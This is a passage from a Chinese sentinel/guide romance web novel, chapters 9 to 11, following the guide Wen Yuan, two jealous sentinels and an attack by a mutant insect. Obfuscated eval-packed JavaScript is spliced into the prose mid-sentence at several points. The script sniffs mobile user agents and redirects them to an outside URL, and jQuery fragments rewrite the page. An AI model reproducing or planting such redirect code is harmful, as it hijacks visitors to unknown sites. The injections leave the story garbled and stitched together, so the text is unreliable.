灰狼的自拍,潮湿的鼻头占了大半个画面。 往日里锐利的眼眸,这会儿茫然地望着镜头,看起来竟有一丝委屈。 她确实很久没有见过灰狼了。 自从上次惹恼了小蛇,灰狼看到她就躲进角落。 可怜巴巴的,又怕再惹小蛇不高兴,尾巴都摇成了螺旋桨也不敢靠近。 要不,她劝劝小蛇? 灰狼的毛发厚实,躲进去很温暖。 说不定,小蛇会喜欢这样毛茸茸的触感。 她顺手滑到第一张。 金千娜躲在被窝里,头发有些乱,一只手还在揉着眼睛,眼尾都透出了红。动作间,丝质的睡衣也滑落到了肩膀,不经意地露出白嫩的锁骨和纤薄的肩。 温沅不禁皱了皱眉,认真地回复道—— 【想吃什么?我带过去吧】 【我也很想灰灰】 【不过……】 【娜娜,你身体还没恢复,衣服没有扣好,很容易着凉】 天气这么冷,即使有暖气也不能穿得那么单薄。 金千娜一时有些语塞。 她放大又缩小,再三地看了自己精挑细选出来的自拍。 难道小沅医生就没看到她湿润的眼,殷红的唇,没看到她半遮半掩的侧肩,纤长的脖颈? 怎么会只想到让她加衣服! 不过。 小沅医生只让她一个人加衣服。 讨人慊的海鲜去了几次小沅医生的家,出来都是单薄的训练服。 果然,小沅医生还是最关心她的吧。 不然怎么没叫别人加衣服。 她满意了,乐乐呵呵地给温沅回到。 【我待会儿就把毛衣穿上^^】 【小沅医生放心,我肯定不会着凉】 【而且我们S级哨兵,冬天也是烫烫的哦(不包括海鲜)】 【不信的话,小沅医生明早可以来摸摸我】 摸哪里都可以的哦~ 她在心里加了一句,又忍不住抱着联络器躺倒在床,腿也兴奋地腾空蹬了几下。 灰狼窝在床边,感受到了她的雀跃,不由得舔了一口肉骨头。 好吃的,想小蛇。 再舔一口。 好吃的,好想小蛇。 隔天,温沅起了个大早。 医疗中心的人多,每天早餐的窗口都要排很长的队。 她跟在人群后,前面正好是科室里的同事。 两人看见温沅,笑着打了个招呼。 “小温向导,早上好。” “招募向导的事,你打算报名吗?” 温沅愣了愣,摇头道:“招募什么?” “就是昨天……哦,你昨天没来。”说话的人凑近到温沅耳边,压着声音道,“昨天临时开了小会,说是白塔那边要公开招募B级以上的向导,统一训练,之后要配合哨兵一同进入污染区做任务。” “听起来风险就很大,我可不敢去。”旁边的同事耸耸肩,“污染区全是变异兽,让我们向导跟着去,不是拿命换报酬吗?” 温沅听着她俩抱怨,自己却失了神。 临到金千娜的病房,她仍是一副魂不守舍的模样。 “小沅医生。”金千娜看她把吸管插进了烧麦,终于没忍住,“你怎么了?” “啊?”温沅回过神,看到眼前穿得厚实的人,好奇道,“污染区,是什么样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实她的东西不多,行李箱都没装满一个。 偏偏梁煦说要帮忙,又提上了两袋队友们精心准备的搬家大礼包。 她拒绝不了,只好把人一起带了过来。 “队长,你一年赚那么多钱。”梁煦在她租的房子里转悠了一圈,不太满意,“怎么不给人家买套好点的房子。” “她在附近工作,上下班很方便。”息蕴把东西放进衣柜,“如果,她愿意接受我,我们可以一起换间大房子。” 她说得认真,梁煦都惊讶地看了过来。 “队长,你是真的喜欢人家,喜欢到都考虑未来同居的问题了吗?” 息蕴没有回答,藏在黑发里的耳朵却红了红。 把东西整理好,时间正好到饭点。 梁煦难得出塔,嚷嚷着要息蕴请她到附近的餐馆吃一顿垃圾食品。 两人一前一后地出门,恰好电梯门开,温沅从里面走了出来。 这一层楼,就两家人。 梁煦猛地瞪大眼,指着眼前的人,话都说得哆嗦。 “你就是,你就是那个……” 在此之前,她完全没法想象队长的向导,究竟长成什么模样。 没想到,真人却是这样。 她包在厚重的羽绒服里,奶白色的针织帽和围巾中间,只露出一双圆圆的大眼睛。 许是外边的天气太冷了,她的鼻尖冻得泛起了红,整个人就像一团草莓馅儿的糯米糍。 好可爱! 队长凭什么能找到这么可爱的向导! “息女士,您搬家过来啦?”温沅笑了笑,“这位是您的……” “普通的同事。”息蕴不喜欢她看别人的目光,挡在了梁煦面前,“只是帮忙搬家。” “哦。”温沅应了一声,又扬起手中的购物袋,“今晚要一起吃饭吗?” 息蕴当然想。 可是她身边还有另一个哨兵。 她也不想和别人分享小蛇向导做的菜。 “要……”梁煦自觉开口,声音却被息蕴打断。 “我们吃过了。” “好吧。”温沅无奈地歪歪头,“那我先回去做饭啦,明天见。” “明天见。” 息蕴礼貌地目送她进了隔壁,很快就被人从身后掐了一把。 “队长,你也太小气了吧!” 息蕴佯装没听到,顺势进了电梯。 “明明人家都邀请我们吃饭了嘛!”梁煦自顾自地说道,“你这样冷冰冰的,她怎么会喜欢你?” “她会喜欢我。”息蕴反驳了她,“我没有冷冰冰,她会喜欢我。” 梁煦正想回话,又听她压低了声音道。 “每次见她,我都会很热。而且我很依赖她,需要她的照顾,她应该会喜欢我的。” 9. 第 9 章 晚饭后,天彻底暗了下来。 温沅站在厨房洗刷碗筷,无意间瞟到窗外,忽地愣了神。 水流还在哗啦啦地响着,她却没了动作。 小蛇趴在她肩膀,好奇地望了过去。 只见夜色间,一道黑影沿着蜿蜒的小道,正在慢跑。 “她在运动。”小蛇凑到温沅的耳边,“怪不得她有很多力气,上次在淋浴间,她能把你整个人抱……” 温沅回过神,顺着她的话想到了那天两人的亲密相拥,耳根一烫,伸手捏住了她的嘴。 “你不许说了。”她压低声音警告,“这件事,不许让息女士知道。” 小蛇歪了歪脑袋,不知道她为什么脸红彤彤,只听话地点点头。 “但是,温沅,你再不关水,洗碗池的水就要溢出来了。” 温沅一惊,手忙脚乱地关了水龙头,差点还碰掉几个碗。 哨兵的五感异于常人。 她的动作那么大,息蕴早就听见了。 不止是听见,她停下脚,朝着温沅厨房的窗户看过去。 小蛇向导脸又红了。 她失控的时候,亲手摸过小蛇向导泛红的脸。 温温热热的,还很软,稍稍用力就会捏出一记红印。 每次小蛇向导靠近,她的鼻腔里满是对方可口的气味时。 她总是有些坏心思。 想要咬一口小蛇向导的脸蛋,想要看她眼泪汪汪地哭。想要把她按在怀里,肆意地欺负,听她可怜地求饶。 慢跑被暂停,息蕴不再向前,而是仰起头,定定望着那扇窗户。 灼热的视线,让窗户里的人都有所察觉。 “温沅,她在看你。” 小蛇敏锐地发现了她的目光,用尾巴戳了戳温沅。 温沅正排着水,瞥了一眼窗外,果真看到了楼下的人。 向导的眼神不太好,只隐约看到息蕴动了动嘴,像是在说什么。 可惜她说了好几遍,温沅也没听清,只能茫然地摇头。 息蕴无奈,抬手指了指联络器。 看懂了她的意思,温沅急忙擦干手,打开了联络器。 十秒前,息蕴给她发来了一条语言消息。 她的声音有些低,伴随着风吹的声响,沙沙的很温柔—— “小蛇向导,今晚的月亮很圆,要一起看看吗?” “月亮有什么好看的?”小蛇听明白了,不太乐意,“外面风很大,很冷,小蛇不要去。” “可是她说月亮很圆诶。”温沅小声道,“也挺值得看看的吧。” 小蛇瞪圆了眼,没来得及拒绝,就被温沅揣进了口袋。 息蕴等在楼梯口。 夜里刮起了北风,把她单薄的训练服吹得紧贴着皮肤,勾勒出结实的手臂肌肉线条。 温沅顿了顿脚,脑袋又不受控地想起了那个拥抱,环着她的双臂温暖又有力。 “你……” “小蛇向导。” 息蕴听到她的声音,回过头。 路灯光洒在她头顶,昏黄的暖色调,把她冷冽的五官都照得柔和了几分。 “晚上好。” 明明是相同的声音,落在今晚寂静的夜里,温沅却觉得尤为动听。 “您刚刚在跑步吗?”她缓缓地走到了息蕴身边,轻声和她搭话,“是不是我打扰到您了?” “我有慢跑的习惯。”息蕴侧头望着她,“不算打扰,被你看到的时候,我已经跑了十圈。” “十圈?!”温沅瞪大了眼,“你是说,你每天都要跑十圈?” 两人走出有路灯的楼道口,拐进幽长的密林小道。 息蕴低低应了一声,还没开口,脚上却被绊倒,晃晃悠悠地碰了一下温沅的肩膀。 “您怎么了?”温沅紧张地抓住她的衣袖,“没事吧?” “没事。”息蕴顺势握住了她的手,“你们这里的路很奇怪,铺着大大小小的石头,不太平整。” “这是鹅卵石。”温沅笑道,怕她再摔倒,手也任由她拉着,“您可要抓紧我,不要再摔倒了。” “什么是鹅卵石?” “就是一种石头,有些人认为脚底有很多的穴位,通过走石子路,摩擦穴位,达到养生的效果。” “走多了会很健康?” “不一定呢,不过您可以试试。”温沅半仰起头看她,“您之前没有见过吗?” “没有。”息蕴摇摇头,“从我记事开始,我就在白塔了。” 她异能觉醒得早,年纪轻轻就和同等级的哨兵一同训练。 对于家人也没有更多的记忆,只知道自己有个妹妹,常年在污染区执行任务。 “我有很多不懂的东西。”息蕴勾勾她的手,“你愿意教我吗?” 温沅怔怔,没想到息蕴的过去竟是这样。 她不自禁地脑补了小小的息蕴,走路还不稳,就开始在训练场里尝试攻击变异兽。 怪不得,她说话时总有一股难以接近的疏离,偶尔还会有笨拙的举动。 原来是因为她从未真正地接触过人类社会的生活。 温沅不知为何,突然有些心疼眼前的人。 “我愿意的!”她猛地捧起了息蕴的手,“您要是遇到了什么不懂的事情,都可以来问我!” 黑暗中,她的一双眼睛却泛着明亮的光。 息蕴讷讷,下意识就说出了心底的话。 “你好可爱。” “嗯?” 两人慢慢悠悠地在小区绕了一大圈。 回到家已经是两个小时后。 温沅匆匆忙忙地洗了澡,出来就看到小蛇趴在床上,小红眼睛好奇地看着她。 “温沅,今晚的月亮,好看吗?” 她怕冷,出门就一直缩着脑袋,没有出来。 温沅擦着头发的动作一滞,心虚地回答。 “应该挺好看的吧。” 她好像出门以后就完全忘了月亮。 温沅感觉掌心仍在发烫,脑海中还在不停地回响着息蕴说的话。 她呜咽一声,抱起了小蛇,有些难为情。 “可是她说我好可爱。” 所以,失神一会儿也很正常吧。 小蛇被她蹭着脑袋,不太理解。 温沅会在精神图景里给她种小花,给她织漂亮的毛线帽,还夸她挖的土洞漂亮。 她笨笨的脑袋想不明白,为什么小章鱼的人只是夸了一句可爱,温沅就红了脸。 毕竟,在她看来,温沅就是一个很好、很可爱的人。 “温沅,你本来就很可爱啊!” 一墙之隔,小章鱼却在生闷气。 触肢在阴暗的房间里乱爬,湿润的潮气越来越浓。 “她说了是小蛇怕冷,不是故意不见你。” 息蕴不明白她的气恼,想起小蛇向导坚定的眼神,嘴角僵硬地扬了扬。 她想笑,只是还不熟练。 “我都闻到了!”小章鱼碎碎念叨,“她身上有狗味,臭死了臭死了!” 息蕴沉默了片刻,嘴角一瞬间又绷紧了。 “你说,她是不是也和那条狗玩钻圈圈的游戏了?”小章鱼瞪着巨大的眼,凑到息蕴面前,“我讨厌狗!” 息蕴没有应话,脸色却不太好看。 讨厌狗么? 她也是。 * 虽然搬到了隔壁,但息蕴还是按照之前的惯例,提前预约了温沅的疏导治疗。 第一次治疗的时间,在隔天的下午。 因为息蕴的身份特殊,之前的疏导一直都是在白塔进行。 这还是她第一次到温沅工作的地方。 生怕自己的身份给温沅带来麻烦,她特地没有穿训练服,而是换了一身普通的休闲装。 即便如此,她的身形高大,走起路时,薄薄的素黑风衣微微带起,无形中带着几分强势的气场,仍旧夺人注目。 好在她脸上没有太多的表情,就算有人想要搭话,也被她肃冷的气质劝退,不敢上前。 按照温沅给的门牌号,她很快就找到了她的休息室。 还没走近,她就嗅到了那股熟悉的香味。 只是,淡淡的清香中似乎夹杂着一丝…… 息蕴沉下脸,推开门。 敞亮的休息室里,灰发的女人坐在桌前。 她捧着温沅的外套,面带享受地嗅闻着,脸都几近埋了进去。 “滚出去。”息蕴冷声开口,原本只是阴沉的脸,如今却像寒刃出鞘,有了杀意。 听到动静,金千娜睁开眼,不悦地看向门口的人。 “你是哪位?又是以什么身份,让我出去?” “我是她的哨兵。”息蕴半眯起眼,逐字逐句地说道,“她唯一的哨兵。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温沅愣愣地抱着怀里的兔子,看到小姑娘眼里满满的憧憬,她也不由得笑了。 “我相信小智。”她伸手摸了摸小女孩的脑袋,“你一定会成为很厉害的哨兵!” “可以……”小智突然有些腼腆,“可以抱一下吗?” “当然。” 温沅哭笑不得,伸手将小女孩抱了个满怀,手却贴心地绕过了她后背的伤。 办公室内,偷看的两人难得有了相同的想法。 讨厌小孩。 尤其是自不量力要保护别人家向导的那种。 送走了小智,温沅抱着兔子起身,转头却看到两张熟悉的脸。 “诶,你们都来了?” 息蕴点点头,金千娜却黏黏糊糊地挨了过去。 “好吃醋啊,小沅医生对其她病人那么温柔细心,对我却越来越冷漠。” 温沅正想反驳,另一边衣袖却被息蕴拽了拽。 “小蛇向导,我有点不舒服,可以开始治疗了吗?” “这么容易不舒服,还是不要麻烦小沅医生了,可能是不治之症。” “对你冷漠,你也该有自知之明,病好了早点出院。” 两人一左一右,就在温沅耳边吵了起来。 她看了看金千娜,总是病恹恹的大小姐好像有了活力。 又瞧了瞧息蕴,不善言辞的执行官大人也开始和人交际了。 “太好了。”温沅笑了笑,“看到你们相处融洽,我就放心了。” 相处融洽……吗? 息蕴和金千娜同时没了声儿,望着中间反应迟钝的向导,异口同声道。 “我们确实相处融洽。” 话落,两人又皱起眉头,狠狠地啧了一下。 “呸。” * S级污染区。 息晗刚刚猎杀了一只S级的血鸦。 忽冷忽热的感觉又来了,伴随着眩晕和躁动。 她不得不停下身,缓解突然而来的不适。 “息蕴怎么回事……” 她话还没有说完,掌心就传来了温热的触感。 紧接着,柔软的拥抱如同有实质一般,将她包围。 温热的,沉浸的,好似还有一股淡淡的香。 她知道息蕴接受了一个向导。 之前也做过几次疏导,然而像今天这样的亲密接触,好似还是第一次。 肌肤相触的热感,源源不断地落在她身上的每一处。 她甚至能感觉到嘴唇也热热麻麻的,还有一点湿润。 黑龙见她不走了,咬着血鸦回头,还没开口,就见她回味般地抚了抚唇。 “这就是息蕴选的向导吗?好美味,我也想尝尝了。” 10. 第 10 章 疏导室内密不透光。 海水的潮气从息蕴的精神图景里漫了出来,阴冷又黏着,覆盖上身体的每一个毛孔。 夹杂着湿润的咸味,水汽愈发浓稠。 温沅攥紧息蕴的衣领,仿佛快要溺水的人,试图求救。 “息蕴,你……你冷静点。” “老婆。”息蕴揽着她的腰,将她完全禁锢在自己的怀里,陷入失控期的哨兵早就没了理智,“为什么你看那条狗的眼神,比我还多了六秒。” 她一直认真地盯着老婆,老婆却不看她。 用来抚摸她脑袋的手,今天也碰了别人。 她不开心,很不开心。 尚有理智的时候还能压制,一旦放开了精神图景,酸到快疯掉的情绪便达到了顶峰。 “她比我好么?” 息蕴呼出的热气放肆地钻进她的侧颈。 横在腰上的手也不安分,一路往下滑落,抚上了她的腿。 “她有我高,有我强,有我讨你喜欢么?她也会这样抱着你,亲你,叫你老婆么?” “嗯……”温沅敏感地颤了一下,伸手抵住她靠近的脑袋,“不要这样,息蕴,你现在需要治疗。” “我好热啊,老婆。”息蕴强势地压着她的手,不仅没有退后,反而靠得更近,“你先救救我,好吗?老婆,救救我。” 冷冽的眼睛半阖着,她的眼神渐渐失焦,热意冲到了头顶,眩晕又难受。 “息……唔……” 柔软的唇堵住了温沅到嘴边的话。 息蕴没有章法地亲吻着,不似爱侣间的调情,倒是像极了贪恋主人的小狗。 一下又一下,密密地啄着,带着几分喜欢到不行的小心翼翼。 偌大的疏导室,一时间,只听到亲吻发出的呼吸声。 “老婆,舒服吗?” 息蕴贴着温沅的鼻尖,轻轻哼吟了一声,嘴边还挂着一丝未干的暧昧水渍。 温沅大口喘着气,脸也烧得滚烫,眼睛不知什么时候泛起了水光,呆呆地眨了两下,看起来更好欺负了几分。 “老婆好甜。”息蕴没忍住,又吻上了她的眼,“第一次见到老婆的时候,就想亲你了。好喜欢老婆,好想把老婆全身上下都亲一遍。” “不可以这样。”温沅缓过神,没好气地拍了一下她的脑袋,“放开我。” 她安慰自己,只是失控期的息蕴情绪不稳定。 反正,执行官大人醒来以后就会把这段记忆忘记。 不过是一个吻,她也没什么好在意的,就当做没有发生好了。 温沅抿了抿唇,温热的触感仿佛还印在唇瓣,久久无法散去。 “以后不许随便亲我!” 她想忘记,可是忘不掉。 这是她的初吻,就这样交代在了一次疏导治疗中。 温沅恨恨地打了息蕴两下,手落在哨兵结实的臂膀,疼的还是自己。 “老婆,打这里,这里不痛。”息蕴心疼地拉过她的手,放到了自己的脸侧,“老婆好爱我,打我都不舍得用力。” 温沅听完她的话,更气了几分,手捏住她的脸拽了拽。 “我用力了!” “唔唔……老婆,用力了!” 息蕴乖乖地重复她的话,声音模模糊糊的,更像是在哄她。 实在是气急的老婆太可爱。 眼尾红红的还有泪光,嘴唇也被她亲得红红肿肿,瞪眼的模样哪里像生气,明明就是一只炸毛的小动物,让人想要抱在怀里狠狠欺负。 * 许是精神力在疏导前消耗了太多。 温沅从息蕴的精神图景里出来时,她已经倚在休息的沙发上睡了过去。 执行官闭起眼时,看起来竟然比平日里更柔和。 她偷偷地伸出手,戳了戳那微微嘟起的唇。 凉凉的,有些软,和记忆中的触感不太一样。 意识到自己在想什么,温沅触电一般,猛地收回了手。 赶紧忘了啊! 她拍拍自己的脑袋,不许它再乱想。 治疗的过程中,向导和哨兵有身体接触是很正常的啊。 向导手册里也有所记载,所以一切都是为了治疗! 温沅仓皇地收回手,逃一般地往外跑。 她走得太急,没有留意到熟睡的人嘴唇微动,像是品尝遗落在唇上的味道。 疏导持续了整个午班。 温沅拉开疏导室的门,意外看到两侧蹲守着灰狼和金千娜。 “娜娜,你怎么在这里还没走?” 金千娜抱着膝盖蹲坐在门口,可怜巴巴地抬起头,灰色的长卷发乱糟糟地耷拉在胸前,像极了两人初次见面的模样。 其实,小狼一开始也不是热络的性格。 从污染区被救出来的她,脏兮兮的,浑身都是细小的伤口。 医疗中心的向导们想要近身治疗,也全都被她警惕地呲着牙吓退。 那时的她还不会说话,常常蜷缩在角落,环抱着自己的姿势,不安又恐慌。 向导们一个推一个,最后轮到了温沅。 和初入人类社会的小狼一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969999|177796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,温沅也是第一天上班的实习生。 她压根没见过暴走时的哨兵有多恐怖,更不知道眼前的小狼比自己还高出两个等级。 她只想着,小狼的伤口还在渗血,不及时包扎很容易受污染。 “你好,我叫温沅。”她拿出一个刚从食堂里买来的热包子,蹲下身,递到了小狼面前,“要吃吗?” 包子还散发着热气,小狼怀疑地望着眼前的人,听不懂也没有接。 “哦,我们还是陌生人。”温沅也不气馁,腾出一只手,放到了小狼的鼻尖,“这是我的味道,你已经闻了三秒钟,我们可以更熟悉一点了吗?” 小狼看她叽里咕噜地说了一大段,半个字也没听明白。 可是她身上的味道很好闻,强撑着的笑意看起来比自己还紧张。 就在温沅以为自己也要以失败告终的时候,小狼张开嘴,咬住了她手里的肉包。 “诶?”温沅惊喜地抬起眼,“吃了我的包子,你就是我的病人咯!” 实习生小温沉浸在入职第一天就接收到了病人。 殊不知,小狼忠诚。 把第一个给自己喂食的人当做了主人。 “小沅医生,你跟她进去了好久。”金千娜揪了揪温沅的裤腿,小声问道,“我们都是你的病人,但你是不是更喜欢她?你有了喜欢的人,就会像那些不负责任的主人抛弃小狗一样,把我扔掉,对吗?” 温沅一怔,知道又是小狼的不安全感在作祟,安抚地揉揉她的脑袋。 “不对,娜娜。“她认真地开口,”我不是不负责任的主人,你更不是任人抛弃的小狗。你是人,你有自己独立的人格。不过,只要你还需要我,我就会陪在你身边。” 毕竟,她们曾经也是彼此第一选择的医生和病人,不是吗? 温沅知道金千娜把自己当成了生命中很重要的一部分,她也一样,否则又怎么会对她的无理取闹到了纵容的地步。 “你说的。”金千娜抱紧了温沅的腿,“我和灰灰都听到了,不能反悔。” * 当晚夜里,温沅正要休息。 联络器又弹出了一个陌生号码的信息。 【妈妈,你怎么把我拉黑了】 【不过我还有很多号码,妈妈拉黑不完的哦~】 【今天妈妈的嘴唇好红好肿,是不是被坏人亲了QAQ】 【可是,好漂亮,好漂亮,好漂亮】 【好想亲你,下次把你拖进被子里亲晕好吗?】 【我的舌头很厉害哦,一定会让你很舒服的^^】 11. 第 11 章 再次见到息蕴时,她已经恢复了正常的状态。 执行官大人难得穿了浅色,柔软的毛衣外套,扣子系到最高处,更添了几分禁欲的味道。 她站在楼梯口像是等人,联络器戴在袖口外,时而抬起瞥一眼,不知是在看时间,还是在等未收到的消息。 “息女士,早上好!”温沅笑着打了声招呼,目光落在她米色的毛衣,总觉得有点眼熟,“好巧,您这件毛衣,我好像也有同款。” 息蕴微微垂眸,依旧那副疏离有礼的模样。 “早安,小蛇向导。我也是第一次尝试这种风格的穿搭,您觉得如何?” “很适合呢!”温沅说得认真,“您个子高,肩膀也很宽,穿什么衣服都好看。深色比较稳重,浅色更显温柔,就看您更喜欢哪种风格。” “谢谢。”息蕴沉默了片刻,“你呢?” “我?”温沅不明所以地指了指自己。 “你更喜欢哪种风格?”息蕴怕她误会,又补充了一句,“我是指,你更喜欢哪种风格的哨兵?” 温沅对上她满是探究的眸,顿时也愣了一下。 她慌张地别开眼,及时打住脑袋里隐隐升起的念头,小声地开了口。 “我……我还没有喜欢过……可以不说这个吗?” 两人走在前头,小章鱼探出触肢勾了勾温沅的衣兜。 小蛇睡醒不久,迷迷糊糊地探出脑袋,还没来得及打哈欠,就被触肢卷走。 小章鱼美滋滋地把小蛇放到自己头顶,小声和她说道。 “今天我和我的人在门口等了你们好久。” “为什么要等我们?” “因为很喜欢你们,很想见到你们。” “我不信,你的人每次看到温沅都冷冰冰的。” 温沅之前也有过追求者,多是热情主动,从未有像息蕴这般冷漠寡言的。 “是真的!” 小章鱼被喜欢的小蛇怀疑了心意,登时急了。 “她很喜欢温沅,但是她怕吓到温沅,不敢太明显,只敢躲在阳台偷偷往你们家里看。你看她身上的毛衣,就是照着温沅阳台上晾的那件买的同款!” 小蛇歪过脑袋,看向息蕴身上的毛衣。 “我也很喜欢你的,我从来没有让其她精神体坐我的脑袋,也不会陪其她的精神体玩钻圈圈的游戏。” 小蛇想了想,小章鱼对她确实很好,每次见面都会邀请她一起玩耍。 “好吧,我相信你。” “你呢?”小章鱼戳了戳她的脑袋,“你喜欢我吗?” 其实她想问的是最喜欢,又怕听到不喜欢的答案。 “嘶……”小蛇吐了吐信子,声音也低了几分,“一点点喜欢。” 一点点也够了。 小章鱼满意极了,八只脚都在用力,没一会儿就驮着小蛇超过了面前的两人。 “小章鱼今天心情很好?” “……不用管她。” 息蕴今天也预约了疏导治疗,时间安排在一个小时后。 温沅要去病房巡视,怕她无聊,塞给她一个儿童用的游戏机,让她先去休息室待会儿。 息蕴答应下来,轻车熟路地找到了温沅的休息室,还没走近,就看到了门口蹲坐着的人。 倒是真的把自己当狗了,还会看门。 息蕴冷冷地瞥了她一眼,拿出温沅提前给的钥匙开门。 “你也配了她的钥匙?”金千娜惊地站起身,“你疯了,就快到上班时间,别让她发现了。” “我没配。” “那这是……” 金千娜定睛一看,她手里拿的钥匙上面挂着一只可爱的毛绒小蛇,俨然就是温沅手里的那串真钥匙。 “你偷她的钥匙?” 息蕴一瞬有些失语,眼前这人究竟做了多少偷鸡摸狗的事情,想到的答案就没个正经。 见她不答,金千娜撇撇嘴。 “总不能是她……” “她给我的。” 息蕴推开门,脸上没有太多的表情,但周身都洋溢着几分得意。 金千娜落后她半步,好半天才反应过来她说了什么。 她气得手抖,又不肯在情敌面前认输,只嘴硬地说着。 “那是我没问她要,要了肯定也会给我,你少嘚瑟。” 息蕴看她一眼,正想开口,门外却慌张地跑过几个人。 紧接着,一群人蜂拥而出,看似是从住院部过来的。 “出什么事了?”金千娜伸手抓住其中一个眼熟的向导,“你们在跑什么?” “有病人变异了!”说话的向导面色惨白,眼神里满是惊恐,“密密麻麻的虫子从她们的伤口里爬出来,还有几个变异成了半人半虫的怪物,把正在给她们疏导的向导生啃了!” 金千娜面色一沉,和身后的人对视一眼。 “她呢?” “在住院部。” * 小智的伤口已经完全愈合。 温沅坐在床边,小心地给她拆着纱布。 向来安静的住院部,今天却有所不同。 走廊外传来嘈杂的声响,慌乱的步伐声中夹杂着尖叫。 温沅动作的手一顿,疑惑地看向了门外。 “很多人在往外跑。”小智仰着头看她,“温医生,是发生了什么大事儿了吗?” “我也不知道。”温沅摇摇头,“对了,怎么今天只有你在病房?” “妈妈去办出院手续了。”小智笑着道,“我明天就可以回家啦。” “恭喜你。”温沅被她的雀跃感染,不由也弯了弯眼,“希望你不要再遇到变异……” 她还没说完,一旁的小智却突然吓得白了脸,小手指着门外,抖如筛糠。 “温,温医生,你看!” 温沅不明所以,顺着她的视线望去,看到一只变异的虫兽。 或许能称为虫。 它还保留着人脸,脸上却长出了厚重的绒毛,身体也被新生出来的甲壳覆盖,四肢变成坚硬的节肢。体型异常肥大,几乎占满了整个门框,爬进来时更是将两侧墙体挤出了裂痕。 许是嗅到了新鲜人类的味道,虫兽嘴边流出了绿色的粘液,眼睛也直勾勾地望向温沅。 这还是温沅第一次近距离地接触变异兽。 她抿了抿唇,强压着内心的恐慌。 说不怕是假的,她的异能评级只有B,又是医疗型的向导。 对上狂化的变异兽,只有死路一条。 可是她身后还有个即将出院的小女孩。 在这之前,小女孩还兴高采烈地告诉自己,终于不用再穿医疗中心里难看的防护服。 十来岁的年纪,还想着日后能成为很厉害的哨兵,难道就要止步在今天了吗? 温沅握紧了拳头,整个人挡在了小智的面前。 她不确定自己能撑多久,但或许能赶在护卫队抵达之前,保住小智的命。 精神力一瞬间填满了整个病房,像是屏障,阻隔在她们和虫兽中间。 虫兽越发地靠近,绿色的粘液也淌了一地。 它诡异地怪叫了两声,像是嘲讽温沅的不自量力。 坚硬的节肢在空中划动几下,很轻易地破开了她的精神屏障。 果然,这只变异兽的异能在她之上。 温沅紧抱着小智,认命地闭起眼。 就在虫兽呼吸加重,准备品尝美味的食物时,一记金光迸射而出。 巨大的蛇头从温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970000|177796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沅的背后冒了出来。 往日里圆圆的眼睛立成了竖瞳,小蛇张大嘴,硬生生地把眼前的虫兽吞吃入腹。 她的身体瞬间撑大出一个弧形,动作也变得迟缓。 息蕴赶到时,正好瞧见这一幕。 “这是小蛇?”金千娜慢了她半步,进门时已经看到了立着脑袋的大蛇,“怎么会……” 听到自己的名字,大蛇委屈巴巴地回了头。 她像是消化不良,嘴巴滚动了几下,吐出来一大坨粘液,最后晃晃悠悠地躲回了温沅的精神图景。 而温沅,早就在小蛇腾空而出的瞬间,耗费了太多精神力,体力不支,晕厥了过去。 小智一直被她挡在身下,不知道发生了什么,看到闯进来的两人,还以为是她们救了自己。 “你们快救救温医生,她晕倒了!” * B级向导的精神体吞噬了一只高级变异兽。 若是传出去,不用多久,温沅就会被白塔的人以研究为目的,关进实验室。 “要我把小沅医生交给白塔那群废物,不可能。”金千娜沉着脸,看向身边没有过多表情的人,“医疗中心是金家的产业,我待会儿去销毁监控视频。” “嗯,护卫队这边,我来处理。”息蕴点头,难得和她持相同意见,“我的精神体把变异兽吞了,金哨兵也看到了对吧?” 与此同时,白塔护卫队也到了医疗中心。 领头的是位向导,柔亮的金色卷发刚好到颈根,额前两缕发沿着中分线,优雅地垂落在脸颊两侧。 她穿着白色烫金的向导长袍,裤装塞进了同色系的长靴,步伐不紧不慢,整个人像是从中世纪的油画中走来。 “啧,怎么派了个向导过来。” 人群中有碎碎私语,仿佛不满白塔的安排。 “嗯?”女人缓缓回头,目光落在说话那人身上,“是对我有意见吗?” 说话的人是位A级的哨兵,在新洲市里嚣张惯了,冷不丁被她看轻的向导发问,硬着头皮就道。 “对付变异兽,向导本来就不如哨兵。” 女人嗤笑了一声,再抬眼时,高压的精神力直接穿刺入对方的精神图景。 钻心的痛蔓延至全身,那位哨兵猛地捂住头,痛苦地跪倒在地。 女人看也不多看她一眼,转过身,在众人后怕的眼神里缓缓走向住院部。 病房里一片混乱,地上几种粘液交织,其中还有分不清部位的肉块。 幼虫聚集在肉块上,麻木地啃噬着,身体也在肉眼可见地长大。 护卫队的队员们立刻清理地面的幼虫,只剩领头的女人,独自走进了病房。 小智已经被妈妈带走,房间里就剩下坐在床边的息蕴,和她身后昏迷的温沅。 看到床上的人,女人眼底闪过一丝诧异,很快又敛去情绪,开口道。 “变异兽呢?” 